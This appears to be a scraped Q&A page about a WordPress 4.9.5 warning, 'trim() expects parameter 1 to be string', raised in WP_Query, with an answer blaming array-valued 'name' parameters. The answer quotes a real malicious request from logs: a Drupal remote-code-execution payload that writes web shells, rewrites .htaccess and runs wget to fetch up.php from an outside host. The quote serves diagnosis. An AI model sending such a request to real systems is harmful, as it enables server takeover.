admin管理员组文章数量:1434968
I am running Wordpress 4.9.5 and occasionally see the following error in my logs.
E_WARNING: trim() expects parameter 1 to be string, array given
The stack trace looks like this, so it's not coming from custom theme code.
in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)
Is this a known/unknown Wordpress bug and is there a fix for it?
I am running Wordpress 4.9.5 and occasionally see the following error in my logs.
E_WARNING: trim() expects parameter 1 to be string, array given
The stack trace looks like this, so it's not coming from custom theme code.
in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)
Is this a known/unknown Wordpress bug and is there a fix for it?
Share Improve this question asked May 24, 2018 at 2:22 crmpiccocrmpicco 8411 gold badge11 silver badges16 bronze badges 5 |1 Answer
Reset to default 3I ran into this today. It's a bug. I filed a bug report here:
https://core.trac.wordpress/ticket/46797
The problem is this line of code:
$qv['name'] = trim( $qv['name'] );
Source: https://github/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764
A (malicious) user sends a request that looks like:
GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!'> sites/default/files/vuln.php; echo 'Vuln!!'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'
Such a request makes $qv['name'] an array, not a string.
Needs to be sanitized.
本文标签:
版权声明:本文标题:wp query - Wordpress 4.9.5 PHP intermittent warning trim() expects parameter 1 to be string, array given 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.betaflare.com/web/1745629300a2667170.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
functions.php
or theme files) – crmpicco Commented May 24, 2018 at 3:47